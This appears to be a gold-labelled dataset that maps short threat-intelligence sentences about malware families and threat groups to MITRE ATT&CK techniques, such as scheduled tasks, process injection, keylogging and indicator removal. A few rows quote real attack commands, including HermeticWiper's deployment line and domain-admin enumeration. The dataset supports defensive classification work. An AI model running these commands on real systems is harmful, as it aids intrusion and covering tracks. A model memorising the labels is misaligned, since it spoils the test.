CSPY Downloader can use the schtasks utility to bypass UAC.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"CosmicDuke uses scheduled tasks typically named ""Watchmon Service"" for persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
DarkWatchman has created a scheduled task for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"During CostaRicto, the threat actors used scheduled tasks to download backdoor tools.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Dyre has the ability to achieve persistence by adding a new task in the task scheduler to run every minute.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Kimsuky has downloaded additional malware with scheduled tasks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"Lazarus Group has used ""schtasks"" for persistence including through the periodic execution of a remote XSL script or a dropped VBS payload.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Magic Hound has used scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"Matryoshka can establish persistence by adding a Scheduled Task named ""Microsoft Boost Kernel Optimization"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Molerats has created scheduled tasks to persistently run VBScripts.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
POWRUNER persists through a scheduled task that executes it every minute.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
QuasarRAT contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Shamoon copies an executable payload to the target system by using SMB/Windows Admin Shares and then scheduling an unnamed task to execute the malware.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Silence has used scheduled tasks to stage its operation.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
The different components of Machete are executed by Windows Task Scheduler.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Valak has used scheduled tasks to execute additional payloads and to gain persistence on a compromised host.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Wizard Spider has used scheduled tasks establish persistence for TrickBot and other malware.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
CostaBricks can inject a payload into the memory of a compromised host.,['T1055 - Process Injection'],golden
Dyre has the ability to directly inject its code into the web browser process.,['T1055 - Process Injection'],golden
Egregor can inject its payload into iexplore.exe process.,['T1055 - Process Injection'],golden
HTRAN can inject into into running processes.,['T1055 - Process Injection'],golden
HyperBro can run shellcode it injects into a newly created process.,['T1055 - Process Injection'],golden
Remcos has a command to hide itself through injecting into another process.,['T1055 - Process Injection'],golden
"Ryuk has injected itself into remote processes to encrypt files using a combination of ""VirtualAlloc"", ""WriteProcessMemory"", and ""CreateRemoteThread"".",['T1055 - Process Injection'],golden
Sharpshooter has leveraged embedded shellcode to inject a downloader into the memory of Word.,['T1055 - Process Injection'],golden
Sliver can inject code into local and remote processes.,['T1055 - Process Injection'],golden
BackdoorDiplomacy has dropped legitimate software onto a compromised host and used it to execute malicious DLLs.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
Conti has loaded an encrypted DLL into memory and then executes it.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
FinFisher injects itself into various processes depending on whether it is low integrity or high integrity.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
Heyoka Backdoor can inject a DLL into rundll32.exe for execution.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
"IronNetInjector has the ability to inject a DLL into running processes, including the IronNetInjector DLL into explorer.exe.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
"PowerSploit contains a collection of CodeExecution modules that inject code (DLL, shellcode) into a process.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
"Ramsay can use ""ImprovedReflectiveDLLInjection"" to deploy components.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
TA505 has been seen injecting a DLL into winword.exe.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
"Gorgon Group malware can download a remote access tool, ShiftyBug, and inject into another process.",['T1055.002 - Process Injection: Portable Executable Injection'],golden
Ursnif has injected code into target processes via thread local storage callbacks.,['T1055.005 - Thread Local Storage'],golden
A Patchwork payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.,['T1055.012 - Process Injection: Process Hollowing'],golden
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code.,['T1055.012 - Process Injection: Process Hollowing'],golden
menuPass has used process hollowing in iexplore.exe to load the RedLeaves implant.,['T1055.012 - Process Injection: Process Hollowing'],golden
"Kobalos has used a compromised SSH client to capture the hostname, port, username and password used to establish an SSH connection from the compromised host.",['T1056 - Input Capture'],golden
BabyShark has a PowerShell-based remote administration ability that can implement a PowerShell or C# based keylogger.,['T1056.001 - Input Capture: Keylogging'],golden
DOGCALL is capable of logging keystrokes.,['T1056.001 - Input Capture: Keylogging'],golden
InvisiMole can capture keystrokes on a compromised host.,['T1056.001 - Input Capture: Keylogging'],golden
Ke3chang has used keyloggers.,['T1056.001 - Input Capture: Keylogging'],golden
Machete logs keystrokes from the victim’s machine.,['T1056.001 - Input Capture: Keylogging'],golden
PowerLess can use a module to log keystrokes.,['T1056.001 - Input Capture: Keylogging'],golden
Proton uses a keylogger to capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],golden
RCSession has the ability to capture keystrokes on a compromised host.,['T1056.001 - Input Capture: Keylogging'],golden
Revenge RAT has a plugin for keylogging.,['T1056.001 - Input Capture: Keylogging'],golden
"Stolen Pencil has a tool to log keystrokes to %userprofile%\appdata\roaming\apach.{txt,log}.",['T1056.001 - Input Capture: Keylogging'],golden
"When it first starts, BADNEWS spawns a new thread to log keystrokes.",['T1056.001 - Input Capture: Keylogging'],golden
gh0st RAT has a keylogger.,['T1056.001 - Input Capture: Keylogging'],golden
ADVSTORESHELL can list running processes.,['T1057 - Process Discovery'],golden
APT3 has a tool that can list out currently running processes.,['T1057 - Process Discovery'],golden
AppleSeed can enumerate the current process on a compromised host.,['T1057 - Process Discovery'],golden
Bumblebee can identify processes associated with analytical tools.,['T1057 - Process Discovery'],golden
CaddyWiper can obtain a list of current processes.,['T1057 - Process Discovery'],golden
Cobalt Strike's Beacon payload can collect information on process details.,['T1057 - Process Discovery'],golden
Cyclops Blink can enumerate the process it is currently running under.,['T1057 - Process Discovery'],golden
DarkComet can list active processes running on the victim’s machine.,['T1057 - Process Discovery'],golden
Deep Panda uses the Microsoft Tasklist utility to list processes running on systems.,['T1057 - Process Discovery'],golden
"During Frankenstein, the threat actors used Empire to obtain a list of all running processes.",['T1057 - Process Discovery'],golden
"During FunnyDream, the threat actors used Tasklist on targeted systems.",['T1057 - Process Discovery'],golden
"During Operation CuckooBees, the threat actors used the `tasklist` command as part of their advanced reconnaissance.",['T1057 - Process Discovery'],golden
ELMER is capable of performing process listings.,['T1057 - Process Discovery'],golden
FatDuke can list running processes on the localhost.,['T1057 - Process Discovery'],golden
FinFisher checks its parent process for indications that it is running in a sandbox setup.,['T1057 - Process Discovery'],golden
Final1stspy obtains a list of running processes.,['T1057 - Process Discovery'],golden
GravityRAT lists the running processes on the system.,['T1057 - Process Discovery'],golden
"Kazuar obtains a list of running processes through WMI querying and the ""ps"" command.",['T1057 - Process Discovery'],golden
Molerats actors obtained a list of active processes on the victim and sent them to C2 servers.,['T1057 - Process Discovery'],golden
MoonWind has a command to return a list of running processes.,['T1057 - Process Discovery'],golden
"Mustang Panda has used ""tasklist /v"" to determine active process information.",['T1057 - Process Discovery'],golden
NETEAGLE can send process listings over the C2 channel.,['T1057 - Process Discovery'],golden
PowerShower has the ability to deploy a reconnaissance module to retrieve a list of the active processes.,['T1057 - Process Discovery'],golden
PowerStallion has been used to monitor process lists.,['T1057 - Process Discovery'],golden
Remsec can obtain a process list from the victim.,['T1057 - Process Discovery'],golden
StreamEx has the ability to enumerate processes.,['T1057 - Process Discovery'],golden
"Taidoor can use ""GetCurrentProcessId"" for process discovery.",['T1057 - Process Discovery'],golden
"Turla surveys a system upon check-in to discover running processes using the ""tasklist /v"" command. Turla RPC backdoors have also enumerated processes associated with specific open ports or named pipes.",['T1057 - Process Discovery'],golden
Volgmer can gather a list of processes.,['T1057 - Process Discovery'],golden
jRAT can query and kill system processes.,['T1057 - Process Discovery'],golden
APT1 has used the Windows command shell to execute commands.,['T1059 - Command and Scripting Interpreter'],golden
FELIXROOT opens a remote shell to execute commands on the infected system.,['T1059 - Command and Scripting Interpreter'],golden
FIN5 scans processes on all victim systems in the environment and uses automated scripts to pull back the results.,"['T1059 - Command and Scripting Interpreter', 'T1119 - Automated Collection']",golden
FIN8 executes commands remotely via cmd.exe.,['T1059 - Command and Scripting Interpreter'],golden
APT3 has used PowerShell on victim systems to download and run payloads after exploitation.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
APT39 has used PowerShell to execute malicious code.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
BONDUPDATER is written in PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Confucius has used PowerShell to execute malicious files and payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
CopyKittens has used PowerShell Empire.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"CreepyDrive can use Powershell for execution, including the cmdlets `Invoke-WebRequest` and `Invoke-Expression`.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
DarkHydrus leveraged PowerShell to download and execute additional scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
GRIFFON has used PowerShell to execute the Meterpreter downloader TinyMet.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Gallmaker used PowerShell to download additional payloads and for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
HALFBAKED can execute PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Hancitor has used PowerShell to execute commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
KGH_SPY can execute PowerShell commands on the victim's machine.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Lazarus Group has used Powershell to download malicious payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Molerats used PowerShell implants on target machines.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Operation Wocao has used PowerShell on compromised systems.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"Revenge RAT uses the PowerShell command ""Reflection.Assembly"" to load itself into memory to aid in execution.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
SILENTTRINITY can use PowerShell to execute commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Saint Bot has used PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Squirrelwaffle has used PowerShell to execute its payload.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
TA505 has used PowerShell to download and execute malware and reconnaissance scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
TeamTNT has executed PowerShell commands in batch scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Valak has used PowerShell to download additional modules.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
menuPass uses PowerSploit to inject shellcode into PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
Dok uses AppleScript to create a login item for persistence.,['T1059.002 - Command and Scripting Interpreter: AppleScript'],golden
"A module in CozyCar allows arbitrary commands to be executed by invoking ""C:\Windows\System32\cmd.exe"".",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"APT1 has used the Windows command shell to execute commands, and batch scripting to automate execution.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"An APT3 downloader uses the Windows command """"cmd.exe"" /C whoami"". The group also uses a tool to execute commands on remote computers.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
BBK has the ability to use cmd to run a Portable Executable (PE) on the compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Bisonal has launched cmd.exe and used the ShellExecuteW() API function to execute commands on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Blue Mockingbird has used batch script files to automate execution and deployment of payloads.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Caterpillar WebShell can run commands on the compromised asset with CMD functions.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Chimera has used the Windows Command Shell and batch scripts for execution on compromised hosts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Comnie executes BAT scripts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Daserf can execute shell commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
DropBook can execute arbitrary shell commands on the victims' machines.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Egregor has used batch files for execution and can launch Internet Explorer from cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"FELIXROOT executes batch scripts on the victim’s machine, and can launch a reverse shell for command execution.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"HARDRAIN uses cmd.exe to execute ""netsh""commands.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
HermeticWiper can use `cmd.exe /Q/c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1> \\127.0.0.1\ADMIN$\_1636727589.6007507 2>&1` to deploy on an infected system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
InvisiMole can launch a remote shell to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"JCry has used ""cmd.exe"" to launch PowerShell.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Kevin can use a renamed image of `cmd.exe` for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
KeyBoy can launch interactive shells for communicating with the victim machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Lazarus Group malware uses cmd.exe to execute commands on a compromised host. A Destover-like variant used by Lazarus Group uses a batch file mechanism to delete its binaries from the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
MCMD can launch a console process (cmd.exe) with redirected standard input and output.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
MarkiRAT can utilize cmd.exe to execute commands in a victim's environment.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
MoleNet can execute commands via the command line utility.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
MuddyWater has used a custom tool for creating reverse shells.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
NETEAGLE allows adversaries to execute shell commands on the infected host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
NavRAT leverages cmd.exe to perform discovery techniques. NavRAT loads malicious shellcode and executes it in memory.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
PLAINTEE uses cmd.exe to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
PoisonIvy creates a backdoor through which remote attackers can open a command-line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Pony has used batch scripts to delete itself after execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Remexi silently executes received commands with cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
RogueRobin uses Windows Script Components.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
SILENTTRINITY can use `cmd.exe` to enable lateral movement using DCOM.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
SLOTHFULMEDIA can open a command line to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
ServHelper can execute shell commands against cmd.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Silence has used Windows command-line to run commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Siloscape can run cmd through an IRC channel.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Sowbug has used command line during its intrusions.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Spark can use cmd.exe to run commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Squirrelwaffle has used `cmd.exe` for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
StrifeWater can execute shell commands using `cmd.exe`.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
TSCookie has the ability to execute shell commands on the infected host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
TURNEDUP is capable of creating a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
Turla RPC backdoors have used cmd.exe to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
WastedLocker has used cmd to execute commands on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
WhisperGate can use `cmd.exe` to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"APT41 executed ""file /bin/pwd"" in activity exploiting CVE-2019-19781 against Citrix devices.",['T1059.004 - Command and Scripting Interpreter: Bash'],golden
Derusbi is capable of creating a remote Bash shell and executing commands.,['T1059.004 - Command and Scripting Interpreter: Bash'],golden
"Green Lambert can use shell scripts for execution, such as ""/bin/sh -c"".",['T1059.004 - Command and Scripting Interpreter: Bash'],golden
Hildegard has used shell scripts for execution.,['T1059.004 - Command and Scripting Interpreter: Bash'],golden
Kazuar uses /bin/bash to execute commands on the victim’s machine.,['T1059.004 - Command and Scripting Interpreter: Bash'],golden
"OSX_OCEANLOTUS.D uses a shell script as the main executable inside an app bundle and drops an embedded base64-encoded payload to the ""/tmp"" folder.",['T1059.004 - Command and Scripting Interpreter: Bash'],golden
"Turian has the ability to use ""/bin/sh"" to execute commands.",['T1059.004 - Command and Scripting Interpreter: Bash'],golden
"WindTail can use the ""open"" command to execute an application.",['T1059.004 - Command and Scripting Interpreter: Bash'],golden
APT-C-36 has embedded a VBScript within a malicious Word document which is executed upon the document opening.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
"APT32 has used macros, COM scriptlets, and VBS scripts.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Bandook has used malicious VBA code against the target system.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Comnie executes VBS scripts.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
"During FunnyDream, the threat actors used a Visual Basic script to run remote commands.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
"During Operation Wocao, threat actors used VBScript to conduct reconnaissance on targeted systems.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Exaramel for Windows has a command to execute VBS scripts on the victim’s machine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
"For C0011, Transparent Tribe used malicious VBA macros within a lure document as part of the Crimson malware installation process onto a compromised host.",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Gorgon Group has used macros in Spearphishing Attachments as well as executed VBScripts on victim machines.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
HEXANE has used a VisualBasic script named `MicrosoftUpdator.vbs` for execution of a PowerShell keylogger.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Higaisa has used VBScript code on the victim's machine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Kerrdown can use a VBS base64 decoder function published by Motobit.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
KeyBoy uses VBS scripts for installing files and performing execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Leviathan has used VBScript.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Mustang Panda has embedded VBScript components in LNK files to download additional files and automate collection.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
PoetRAT has used Word documents with VBScripts to execute malicious activities.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
PowerShower has the ability to save and execute VBScript.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
QakBot can use VBS to download and execute malicious files.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
ROKRAT has used Visual Basic for execution.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
STARWHALE can use the VBScript function `GetRef` as part of its persistence mechanism.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Sharpshooter's first-stage downloader was a VBA macro.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
SideCopy has sent Microsoft Office Publisher documents to victims that have embedded malicious macros that execute an hta file via calling `mshta.exe`.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Xbash can execute malicious VBScript payloads on the victim’s machine.,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],golden
Bandook can support commands to execute Python-based payloads.,['T1059.006 - Command and Scripting Interpreter: Python'],golden
Chaes has used Python scripts for execution and the installation of additional files.,['T1059.006 - Command and Scripting Interpreter: Python'],golden
Donut can generate shellcode outputs that execute via Python.,['T1059.006 - Command and Scripting Interpreter: Python'],golden
Earth Lusca used Python scripts for port scanning or building reverse shells.,['T1059.006 - Command and Scripting Interpreter: Python'],golden
Ebury has used Python to implement its DGA.,['T1059.006 - Command and Scripting Interpreter: Python'],golden
Kimsuky has used a macOS Python implant to gather data as well as MailFetcher.py code to automatically collect email data.,['T1059.006 - Command and Scripting Interpreter: Python'],golden
Machete is written in Python and is used in conjunction with additional Python scripts.,['T1059.006 - Command and Scripting Interpreter: Python'],golden
FIN7 used JavaScript scripts to help perform tasks on the victim's machine.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],golden
GRIFFON is written in and executed as JavaScript.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],golden
Higaisa used JavaScript to execute additional files.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],golden
InvisiMole can use a JavaScript file as part of its execution chain.,['T1059.007 - Command and Scripting Interpreter: JavaScript'],golden
Cobalt Group has used exploits to increase their levels of rights and privileges.,['T1068 - Exploitation for Privilege Escalation'],golden
Cobalt Strike can exploit vulnerabilities such as MS14-058.,['T1068 - Exploitation for Privilege Escalation'],golden
CosmicDuke attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.,['T1068 - Exploitation for Privilege Escalation'],golden
"FIN6 has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.",['T1068 - Exploitation for Privilege Escalation'],golden
Flame can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.,"['T1068 - Exploitation for Privilege Escalation', 'T1210 - Exploitation of Remote Services']",golden
Remsec has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.,['T1068 - Exploitation for Privilege Escalation'],golden
Stuxnet used MS10-073 and an undisclosed Task Scheduler vulnerability to escalate privileges on local Windows machines.,['T1068 - Exploitation for Privilege Escalation'],golden
"Carbon uses the ""net group"" command.",['T1069 - Permission Groups Discovery'],golden
ShimRatReporter gathered the local privileges for the infected host.,['T1069 - Permission Groups Discovery'],golden
Siloscape checks for Kubernetes node permissions.,['T1069 - Permission Groups Discovery'],golden
BloodHound can collect information about local groups and members.,['T1069.001 - Permission Groups Discovery: Local Groups'],golden
FlawedAmmyy enumerates the privilege level of the victim during the initial infection.,['T1069.001 - Permission Groups Discovery: Local Groups'],golden
HEXANE has run `net localgroup` to enumerate local groups.,['T1069.001 - Permission Groups Discovery: Local Groups'],golden
"Operation Wocao has used the command ""net localgroup administrators"" to list all administrators part of a local group.",['T1069.001 - Permission Groups Discovery: Local Groups'],golden
Sys10 collects the group name of the logged-in user and sends it to the C2.,['T1069.001 - Permission Groups Discovery: Local Groups'],golden
Dragonfly has used batch scripts to enumerate administrators and users in the domain.,['T1069.002 - Permission Groups Discovery: Domain Groups'],golden
"FIN6 has used tools like Adfind to query users, groups, organizational units, and trusts.",['T1069.002 - Permission Groups Discovery: Domain Groups'],golden
GRIFFON has used a reconnaissance module that can be used to retrieve Windows domain membership information.,['T1069.002 - Permission Groups Discovery: Domain Groups'],golden
"OilRig has used ""net group /domain"", ""net group “domain admins” /domain"", and ""net group “Exchange Trusted Subsystem” /domain"" to find domain group permission settings.",['T1069.002 - Permission Groups Discovery: Domain Groups'],golden
"POWRUNER may collect domain group information by running ""net group /domain"" or a series of other commands on a victim.",['T1069.002 - Permission Groups Discovery: Domain Groups'],golden
FunnyDream has the ability to clean traces of malware deployment.,['T1070 - Indicator Removal on Host'],golden
SUNBURST removed HTTP proxy registry values to clean up traces of execution.,['T1070 - Indicator Removal on Host'],golden
Stuxnet can delete OLE Automation and SQL stored procedures used to store malicious payloads.,['T1070 - Indicator Removal on Host'],golden
Stuxnet removes itself from the system through a DLL export by deleting specific files and stored procedures.,['T1070 - Indicator Removal on Host'],golden
Zeus Panda can uninstall scripts and delete files to cover its track.,['T1070 - Indicator Removal on Host'],golden
SynAck clears event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],golden
Wevtutil can be used to clear system and security event logs from the system.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],golden
gh0st RAT is able to wipe event logs.,['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],golden
Rocke has cleared log files within the /var/log/ folder.,"['T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs']",golden
menuPass has used Wevtutil to remove PowerShell execution logs.,['T1070.003 - Indicator Removal on Host: Clear Command History'],golden
APT41 deleted files from the system.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
AppleSeed can delete files from a compromised host after they are exfiltrated.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
BLACKCOFFEE has the capability to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
BackConfig has the ability to remove files and folders related to previous infections.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Bazar can delete its loader using a batch file in the Windows temporary folder.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Bisonal will delete its dropper and VBS scripts from the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Cobalt Group deleted the DLL dropper from the victim’s machine to cover their tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Cryptoistic has the ability delete files from a compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Denis has a command to delete files from the victim’s machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Derusbi is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Elise is capable of launching a remote shell on the host to delete itself.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Epic has a command to delete a file from the machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
FunnyDream can delete files including its dropper component.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
HTTPBrowser deletes its original installer file once installation is complete.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Honeybee removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Kazuar can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
LoudMiner deleted installation files after completion.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
OopsIE has the capability to delete files and scripts from the victim's machine.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"POWERSTATS can delete all files on the C:\, D:\, E:\ and, F:\ drives using PowerShell Remove-Item commands.",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"Pillowmint has deleted the filepath ""%APPDATA%\Intel\devmonsrv.exe"".",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
PowerDuke has a command to write random data across a file and delete it.,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1485 - Data Destruction']",golden
PowerShower has the ability to remove all files created during the dropper process.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Proxysvc can delete files indicated by the attacker and remove itself from disk using a batch file.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
SDelete deletes data in a way that makes it unrecoverable.,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1485 - Data Destruction']",golden
SUNBURST had a command to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
StrongPity can delete previously exfiltrated files from the compromised host.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
The White Company has the ability to delete its malware entirely from the target system.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
WINDSHIELD is capable of file deletion along with other file system interaction.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
WindTail has the ability to receive and execute a self-delete command.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
APT28 has performed timestomping on victim files.,['T1070.006 - Indicator Removal on Host: Timestomp'],golden
PingPull has the ability to timestomp a file.,['T1070.006 - Indicator Removal on Host: Timestomp'],golden
USBStealer sets the timestamps of its dropper files to the last-access and last-write timestamps of a standard Windows library chosen on the system.,['T1070.006 - Indicator Removal on Host: Timestomp'],golden
KOCTOPUS can delete created registry keys used for persistence as part of its cleanup procedure.,['T1070.009 - Clear Persistence'],golden
Clambling has the ability to use Telnet for communication.,['T1071 - Application Layer Protocol'],golden
Cobalt Strike can conduct peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.,['T1071 - Application Layer Protocol'],golden
Dragonfly 2.0 used SMB for C2.,['T1071 - Application Layer Protocol'],golden
Hildegard has used an IRC channel for C2 communications.,['T1071 - Application Layer Protocol'],golden
